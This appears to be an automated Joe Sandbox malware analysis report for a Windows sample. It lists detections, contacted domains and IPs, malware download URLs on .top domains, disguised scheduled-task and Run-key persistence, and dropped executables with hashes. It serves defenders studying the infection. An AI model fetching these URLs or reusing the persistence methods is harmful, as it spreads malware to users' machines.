3.0.CFE9H9mdWr.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.DataSvcUtil.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
3.0.CFE9H9mdWr.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.0.39F6.exe.400000.9.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File
35.0.39F6.exe.560000.8.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
29.2.2E6C.exe.2fb0e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.1.2E6C.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
40.2.4F44.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
39.0.AddInUtil.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
29.3.2E6C.exe.2fc0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.DataSvcUtil.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
30.0.39F6.exe.860000.2.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
37.0.DataSvcUtil.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1141492	Download File
30.0.39F6.exe.860000.3.unpack	100%	Avira	HEUR/AGEN.1138925	Download File
35.0.39F6.exe.400000.13.unpack	100%	Avira	TR/AD.Amadey.ezxiu	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://tempuri.org/DetailsDataSet1.xsd	0%	Avira URL Cloud	safe
http://sysaheu90.top/game.exe	100%	Avira URL Cloud	malware
https://api.ip.sb/ip	0%	URL Reputation	safe
http://91.219.236.97/	0%	Avira URL Cloud	safe
http://nusurtal4f.net/	0%	Avira URL Cloud	safe
http://znpst.top/dl/buildz.exe	100%	Avira URL Cloud	malware
http://toptelete.top/agrybirdsgamerept	100%	Avira URL Cloud	malware
http://telegalive.top/ah	100%	Avira URL Cloud	malware
http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	100%	Avira URL Cloud	malware
http://193.56.146.214/	0%	Avira URL Cloud	safe
http://hajezey1.top/	100%	Avira URL Cloud	malware
http://91.219.236.97//l/f/SZ0UyXwB3dP17Spzhll9/67689860df0c3d84c593b744292fd16b236de234	0%	Avira URL Cloud	safe
http://telegalive.top/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
privacytoolzforyou-6000.top	185.98.87.159	true	false	high
toptelete.top	104.21.9.146	true	false	high
mas.to	88.99.75.82	true	false	high
cdn.discordapp.com	162.159.135.233	true	false	high
api.2ip.ua	77.123.139.190	true	false	high
znpst.top	176.123.228.234	true	false	high
nusurtal4f.net	45.141.84.21	true	false	high
hajezey1.top	185.98.87.159	true	false	high
sysaheu90.top	185.98.87.159	true	false	high
telegalive.top	unknown	unknown	false	high
xacokuo8.top	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://sysaheu90.top/game.exe	true	Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903702020781907998/4D0A6361.jpg	false		high
http://91.219.236.97/	true	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9338.jpg	false		high
https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg	false		high
http://nusurtal4f.net/	false	Avira URL Cloud: safe	unknown
http://znpst.top/dl/buildz.exe	true	Avira URL Cloud: malware	unknown
http://toptelete.top/agrybirdsgamerept	true	Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903575517888925756/6D9E3C88.jpg	false		high
http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	true	Avira URL Cloud: malware	unknown
http://193.56.146.214/	false	Avira URL Cloud: safe	unknown
http://hajezey1.top/	true	Avira URL Cloud: malware	unknown
http://91.219.236.97//l/f/SZ0UyXwB3dP17Spzhll9/67689860df0c3d84c593b744292fd16b236de234	true	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/893177342426509335/903575519373697084/F83CB811.jpg	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://tempuri.org/DetailsDataSet1.xsd	4F44.exe, 00000028.00000000.498089312.00000000003F2000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb/ip	dfsvc.exe, 00000022.00000000.471569387.0000000000402000.00000040.00000001.sdmp, DataSvcUtil.exe, 00000025.00000000.488797588.0000000000402000.00000040.00000001.sdmp, AddInUtil.exe, 00000027.00000000.494537883.0000000000402000.00000040.00000001.sdmp, 4F44.exe, 00000028.00000000.514503943.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/8	B4BD.exe	false		high
http://fontello.com	B4BD.exe	false		high
https://cdn.discordapp.com	B4BD.exe, 00000018.00000002.526101885.00000000031E1000.00000004.00000001.sdmp	false		high
http://telegalive.top/ah	69D3.exe, 00000024.00000003.511301057.0000000002EBB000.00000004.00000001.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	B4BD.exe, 00000018.00000002.526101885.00000000031E1000.00000004.00000001.sdmp	false		high
http://telegalive.top/	69D3.exe, 00000024.00000003.511301057.0000000002EBB000.00000004.00000001.sdmp	true	Avira URL Cloud: malware	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
185.98.87.159	privacytoolzforyou-6000.top	Russian Federation	205840	VM-HOSTINGRU	false
45.141.84.21	nusurtal4f.net	Russian Federation	206728	MEDIALAND-ASRU	false
193.56.146.214	unknown	unknown	10753	LVLT-10753US	false
162.159.130.233	unknown	United States	13335	CLOUDFLARENETUS	false
91.219.236.97	unknown	Hungary	56322	SERVERASTRA-ASHU	true
104.21.9.146	toptelete.top	United States	13335	CLOUDFLARENETUS	false
216.128.137.31	unknown	United States	20473	AS-CHOOPAUS	true
162.159.135.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
176.123.228.234	znpst.top	Kyrgyzstan	59527	ASISPACEKG	false
93.115.20.139	unknown	Romania	202448	MVPShttpswwwmvpsnetEU	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	511952
Start date:	29.10.2021
Start time:	20:27:05
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	CFE9H9mdWr.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@36/23@61/11
EGA Information:	Failed
HDC Information:	Successful, ratio: 35.2% (good quality ratio 20.9%) Quality average: 31.7% Quality standard deviation: 31.7%
HCA Information:	Successful, ratio: 60% Number of executed functions: 94 Number of non-executed functions: 198
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 20.50.102.62, 173.222.108.226, 173.222.108.210, 20.54.110.249, 40.112.88.60, 80.67.82.211, 80.67.82.235, 13.89.179.12, 52.168.117.173 Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, onedsblobprdcus17.centralus.cloudapp.azure.com, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing behavior and disassembly information. Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:28:41	Task Scheduler	Run new task: Firefox Default Browser Agent BBC47BCB20EC3466 path: C:\Users\user\AppData\Roaming\bsstvub
20:29:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Chrome C:\Users\user\AppData\Local\Temp\39F6.exe
20:29:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Chrome C:\Users\user\AppData\Local\Temp\39F6.exe
20:29:31	API Interceptor	6x Sleep call for process: 69D3.exe modified
20:29:46	API Interceptor	1x Sleep call for process: B4BD.exe modified
20:29:52	Task Scheduler	Run new task: sqtvvs.exe path: C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe
20:29:56	Task Scheduler	Run new task: Firefox Default Browser Agent B8D4AC37E5840BDE path: C:\Users\user\AppData\Roaming\isstvub
20:30:00	Task Scheduler	Run new task: Firefox Default Browser Agent 46990137142F50E8 path: C:\Users\user\AppData\Roaming\wistvub
20:30:48	Task Scheduler	Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
20:31:12	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\7a76dfa7-f1bc-4e42-b0dd-d708a769ce24\D210.exe s>--Task
20:31:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\7a76dfa7-f1bc-4e42-b0dd-d708a769ce24\D210.exe" --AutoStart

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\sqlite3.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\69D3.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	548684
Entropy (8bit):	6.3258982851441035
Encrypted:	false
SSDEEP:	12288:BJkKwWdxkh2S+6NKqHZRlsH2taef1LoyGVxN/QcHlfe6lS:BJDwWdxW2SBNTjlY24eJoyGttl
MD5:	90B3A4DA757C3251F650333F70B29CBA
SHA1:	9642EB2B69B8EB4025DBAC1F5DBA43D114B468FD
SHA-256:	6FE7C3631590FA4AD88C308AB1579404D9ADFFFD12C150F7BA58623F0354EF3E
SHA-512:	1F482180BB3560956E047A9F0D255FE7055D031ED6D79AD0DC32C6862098BF44D52019D7BF4231237442E1E2D509D2B809FA4701885423C69A0BB18180BE00AF
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....t\...........!.....Z...................p.....a.......................................... .......................... ......H.... .......................0...3...................................................................................text...XX.......Z..................`.P`.data........p.......`..............@.`..rdata........... ...\|..............@.`@.bss....(.............................`..edata... ......."..................@.0@.idata..H...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc........ ......................@.0..reloc...3...0...4..................@.0B/4...........p......................@.@B/19................................@..B/31.......... ......................@..B/45..........@......................@..B/57..........`......................@.0B/70.....i....p..........

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\39F6.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\39F6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	520
Entropy (8bit):	5.345981753770044
Encrypted:	false
SSDEEP:	12:Q3La/hhkvoDLI4MWuCqDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhav:MLUE4K5E4Ks2wKDE4KhK3VZ9pKhk
MD5:	044A637E42FE9A819D7E43C8504CA769
SHA1:	6FCA27B1A571B73563C8424C84F4F64F3CBCBE2F
SHA-256:	E88E04654826CE00CC7A840745254164DDBD175066D6E4EA6858BF0FE463EBB4
SHA-512:	C9A74FA4154FA5E5951B0EEAC5330CA4BAC981FF9AD24C08575A76AD5D99CFB68556B9857C9C8209A1BFCB43F82E00F14962987A18A92A715F45AD0D4E4A718C
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\B4BD.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\B4BD.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.365622957937216
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7K84jE4Ks:MxHKXwYHKhQnoPtHoxHhAHKzvKvjHKs
MD5:	AE8CFF33270358D6EC23793128B3EF2F
SHA1:	5E6B156157EDEA4222A5E0C258AE9ADEBB8CB7CE
SHA-256:	498EAB9F855E7CE9B812EAD41339A9475127F0C8E7249033B975071D2292220C
SHA-512:	473111AD332D5E66724AFB0CE5A1E1C97890D60484A818D1DB8C2386A99C05BAE6C9D5C535DDFB6790BF5707C153502B938BE201393A3D70342A62902E0A3C98
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Temp\1105.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\2E6C.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1622408
Entropy (8bit):	6.298350783524153
Encrypted:	false
SSDEEP:	24576:hNZ04UyDzGrVh8xsPCw3/dzcldJndozS35IW1q/kNVSYVEs4j13HLHGJImdV4q:dGrVr3hclvnqzS35IWk/LvRHb0
MD5:	BFA689ECA05147AFD466359DD4A144A3
SHA1:	B3474BE2B836567420F8DC96512AA303F31C8AFC
SHA-256:	B78463B94388FDDB34C03F5DDDD5D542E05CDED6D4E38C6A3588EC2C90F0070B
SHA-512:	8F09781FD585A6DFB8BBC34B9F153B414478B44B28D80A8B0BDC3BED687F3ADAB9E60F08CCEC5D5A3FD916E3091C845F9D96603749490B1F7001430408F711D4
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 2%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L!y>.@.m.@.m.@.m...l.@.mg$.l.@.mg$.lN@.mg$.l.A.mg$.l.@.mg$.l.@.mg$.m.@.mg$.l.@.mRich.@.m........................PE..L...s<s............!.....,...................P....(K......................................@A.............................&..............8............h...Y.......N..`l..T............................................................................text....).......*.................. ..`RT...........@...................... ..`.data...dW...P.......0..............@....mrdata.h#.......$...>..............@....00cfg...............b..............@..@.rsrc...8............d..............@..@.reloc...N.......P..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\12C6.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	344064
Entropy (8bit):	5.99188338211275
Encrypted:	false
SSDEEP:	6144:O0kWD+3Pz81AwPC4BVZ2LGuSoGZkk4mAzaV/:JZD+/CO4ULGuShkk4m1V/
MD5:	3B947ED5AABDD775B1AFC31A5C4D39A0
SHA1:	552AA072522F22A003CADD3BCAD5E4EB981A5CBB
SHA-256:	8245AD87EEA6A1F19F658ADEF8A30B9A512760D866B7075BBF205D7A54296234
SHA-512:	AE62F33E3B0DAE89BBD33481B50E6BA53F31AD8699D1570C8B03D73C2045E870CBA25A06CC3DCEA07D784CA688F63C2C335BD262B0722B4461D29AB54357C226
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ctw.Ctw.Ctw.,...ntw.,...atw.,...<tw.J...Dtw.Ctv.<tw.,...Btw.,...Btw.,...Btw.RichCtw.........PE..L...6.`......................p.....@.............@...........................t.....1...........................................P....Ps..?....................s.<...0...................................@............................................text.............................. ..`.data....io.........................@....lufulac.....@s.....................@....rsrc....?...Ps..@..................@..@.reloc..."....s..$..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\234F.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	512952
Entropy (8bit):	7.861107666291364
Encrypted:	false
SSDEEP:	12288:2w86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+w:2VhdLVg2Zep7njXzPDxC+w
MD5:	42758E2569239A774BECDB12698B124C
SHA1:	4AB353C4177A69FC9A6F3844852762809591DD2F
SHA-256:	E3380DFDD6297AC134BB22C7C1603782F198A5B2164855BF66A95BAE47AB472D
SHA-512:	959A6D4E39BC949F8C92C4213A7DD424EFF46AACCBCE6553D42863F4341B934CEB14997F67FDC2013D064A09C6134B9A113438347B7DEDF65E3A7E2ADA5DEF18
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\234F.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.................. ........@.. ....................... ............`.................................D...W.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........t...^..........HY..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\2E6C.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.734269361613487
Encrypted:	false
SSDEEP:	3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJ3/RA:FDy/6BOSFI48v2dxzyuEpynVP
MD5:	73252ACB344040DDC5D9CE78A5D3A4C2
SHA1:	3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015
SHA-256:	B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB
SHA-512:	1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6E09F7591448433DC3B01104007808427C3DE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 80%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......^.................V...........,.......p....@..................................q......................................\...<.... ..8............................q.................................@............p..x............................text....U.......V.................. ..`.rdata...G...p...H...Z..............@..@.data...DB..........................@....cipizi.r...........................@..@.rsrc...8.... ......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\39F6.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	859648
Entropy (8bit):	2.9241367623104355
Encrypted:	false
SSDEEP:	6144:pkY0668MzX0oJgx6nrBdkBSrBHHHI6t7af9GH0WbcSDkTDhm6Xpic76vneCVvK36:phHmzXaNIWsUwgrNt1E/Z
MD5:	AB823DF932B3C2941A9015848EBDB97B
SHA1:	A7E2D46ADA3A42A3D32A96937C316340F2E62A5B
SHA-256:	812D78A50A8DE210DBBCE12FDA210461770B8B928F8B3249DE80ECB68055F61E
SHA-512:	59AC83CED7E0A68E7491812B494E715FC19BA2AA25EDBC0B5765792A1DC19432DBF8F5B671EA4EEBF590740C63EE1A50FE4B0FC716B986F6C5070B920F5C2325
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...R.\|a.........."...0..............1... ........@.. ....................................`..................................1..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................1......H............D......Q...................................................V#... ..A#... ..A&&...0.......... QB.o.......(....&..0.......... .n.m.......(....&..0..J.........(....+.~.....(....,.........+..+........(....(.........(....(.........*...0..........(....(.....% t..(...+.....% .g..(...+.....% ..0.(...+...... H.NB(...+.....% .z..(...+.....% [/}h(...+.....% ....(...+.....% M.3(...+.....% ....(...+.....% ....(...+.....% _.C.(...+.....% ..&d(...+..... ...}(...++". ...

C:\Users\user\AppData\Local\Temp\4F44.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	161280
Entropy (8bit):	5.163359140538006
Encrypted:	false
SSDEEP:	3072:hj1+ax5s9jVultxyIAMzTjSMzTjoIe1UhCp:hJqjVoeN
MD5:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
SHA1:	6E1ACD6CB17AB64AC6DBF0F4400C649371B0E3BD
SHA-256:	08D67F957EC38E92301EEAAAF2759EF2A070376239EAD25864C88F3DD31EAB8C
SHA-512:	14A1CD1090A2ECCEA3B654EEE2B7D4DE390219F8C3C200D97D2AB431311BDF24B1B40F2F38E78804AD286654CD33DFB515704C9B863DAF0786A0D633F05C9BF2
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\4F44.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 43%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.wa..............P..l.............. ........@.. ...................................@.....................................O....................x............................................................... ............... ..H............text....k... ...l.................. ..`.rsrc................n..............@..@.reloc...............t..............@..B.......................H.......(u..t.......A...HL...(..........................................M...Z...........................................................................................@...............................................................................................................................................................................................!...........L.......!...T...h...i...s... ...p...r...o...g...r...a...m... ...c...a...n...n...o...t... ...b...e... ...r...

C:\Users\user\AppData\Local\Temp\5AFD.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	347136
Entropy (8bit):	5.994706914620217
Encrypted:	false
SSDEEP:	6144:5rT+Wp+Ouiv24iPmSCyf11rcrKElOoL91iH+2k9Q9:5H/p+Ouiv24gf11rcrKElOSiH
MD5:	31BE6099D31BDBF1ED339EFFDC1C7064
SHA1:	6B1077BE6CF57EA98C3BE8B6F0268D025EA72D88
SHA-256:	9D9056D76BE4BEB3CC17CD95C47108AB42D73255F2BC031423D044ED927FB885
SHA-512:	ECC057643C2E65C74F3286C8856EB57FEC75FCB650FBE864D53EC0C36C34E0DA3242E19657B1ABB75AA3EEE88A7367E77FFC0E3FE98BFEF0D180C74966D1CEDE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 57%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....q.e.Richp.e.........................PE..L...g.._......................p.....p.............@...........................t.................................................P....`s.h?....................s.....0..................................@............................................text... ........................... ..`.data....io.........................@....daya........Ps.....................@....rsrc...h?...`s..@..................@..@.reloc...#....s..$...(..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\39F6.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	859648
Entropy (8bit):	2.9241367623104355
Encrypted:	false
SSDEEP:	6144:pkY0668MzX0oJgx6nrBdkBSrBHHHI6t7af9GH0WbcSDkTDhm6Xpic76vneCVvK36:phHmzXaNIWsUwgrNt1E/Z
MD5:	AB823DF932B3C2941A9015848EBDB97B
SHA1:	A7E2D46ADA3A42A3D32A96937C316340F2E62A5B
SHA-256:	812D78A50A8DE210DBBCE12FDA210461770B8B928F8B3249DE80ECB68055F61E
SHA-512:	59AC83CED7E0A68E7491812B494E715FC19BA2AA25EDBC0B5765792A1DC19432DBF8F5B671EA4EEBF590740C63EE1A50FE4B0FC716B986F6C5070B920F5C2325
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...R.\|a.........."...0..............1... ........@.. ....................................`..................................1..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................1......H............D......Q...................................................V#... ..A#... ..A&&...0.......... QB.o.......(....&..0.......... .n.m.......(....&..0..J.........(....+.~.....(....,.........+..+........(....(.........(....(.........*...0..........(....(.....% t..(...+.....% .g..(...+.....% ..0.(...+...... H.NB(...+.....% .z..(...+.....% [/}h(...+.....% ....(...+.....% M.3(...+.....% ....(...+.....% ....(...+.....% _.C.(...+.....% ..&d(...+..... ...}(...++". ...

C:\Users\user\AppData\Local\Temp\69D3.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	600064
Entropy (8bit):	7.08622054901022
Encrypted:	false
SSDEEP:	12288:5sUIdOyImnTRTDjpz0e6LUDR+SiDkYj7:iD3ntTDjR0e6ogD
MD5:	C1EB42674C5E7180ADEFEC71EE8B1D60
SHA1:	4532F19A27443639D789F79231D127031AAE2E29
SHA-256:	DFC50DE58C6339E624B60A7E6D5BCCC20297656CD80183379FAC54F11B3E6F56
SHA-512:	20F845413A0D1FCE41F6206B62704CB14E019EA1874B5AAA37FD2220E9C0E8D4C672E9199179770E11D75634AB0C952F0E51B6937FBB0DC5EABD808C8451F3DF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
